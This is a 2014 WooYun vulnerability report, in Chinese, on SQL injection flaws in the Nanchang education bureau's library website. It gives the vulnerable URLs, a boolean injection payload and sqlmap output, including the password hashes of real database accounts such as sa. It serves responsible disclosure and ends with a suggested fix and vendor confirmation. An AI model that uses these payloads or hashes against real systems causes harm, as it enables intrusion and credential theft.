漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-057027
漏洞标题：南昌市教育局网站N多注入问题
相关厂商：南昌市教育局
漏洞作者： 奥迪牌拖拉机
提交时间：2014-04-14 14:28
修复时间：2014-05-29 14:29
公开时间：2014-05-29 14:29
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-14： 细节已通知厂商并且等待厂商处理中
2014-04-19： 厂商已经确认，细节仅向厂商公开
2014-04-29： 细节向核心白帽子及相关领域专家公开
2014-05-09： 细节向普通白帽子公开
2014-05-19： 细节向实习白帽子公开
2014-05-29： 细节向公众公开
简要描述：
某政府网站的ID和搜索框存在注入
详细说明：
http://dlib.ncedu.gov.cn/Books.aspx?kinds=001
加单引号
提示出错：
试试%' AND 9060=906 AND '%'='
提示木有问题
换个比较值，果然出错
布尔参数注入
用SQLmap跑出来数据库如下：
[*] gggdb
[*] master
[*] model
[*] msdb
[*] tempdb
当前用户sa，数据库用户名密码如下：
sa/
database management system users password hashes:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x0100e44ec265cb70a646a7c8b3d922e2153dd40b8322754f8e25
header: 0x0100
salt: e44ec265
mixedcase: cb70a646a7c8b3d922e2153dd40b8322754f8e25
[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x01001ca8cd7c31673a55ef150638cf88d699c466c0b773d2fad8
header: 0x0100
salt: 1ca8cd7c
mixedcase: 31673a55ef150638cf88d699c466c0b773d2fad8
[*] sa [1]:
password hash: 0x01007ecba954b07bd6c3f52faa04067d2ead9a850e0b6a90321d
header: 0x0100
salt: 7ecba954
mixedcase: b07bd6c3f52faa04067d2ead9a850e0b6a90321d
另外，搜索框也存在注入：
http://dlib.ncedu.gov.cn/SearchResult.aspx?kinds=all&content=a'
我用SQLmap跑了个数据库，上面也没装WAF把我的IP给kill掉
我没深入再渗透了，也没干坏事，管理员和灵道们勿请我喝茶，我爱喝可乐 ；-）
漏洞证明：
[*] gggdb
[*] master
[*] model
[*] msdb
[*] tempdb
修复方案：
参数过滤和搜索框函数过滤
版权声明：转载请注明来源 奥迪牌拖拉机@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2014-04-19 12:33
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT下发给江西分中心处置。rank 11
最新状态：
暂无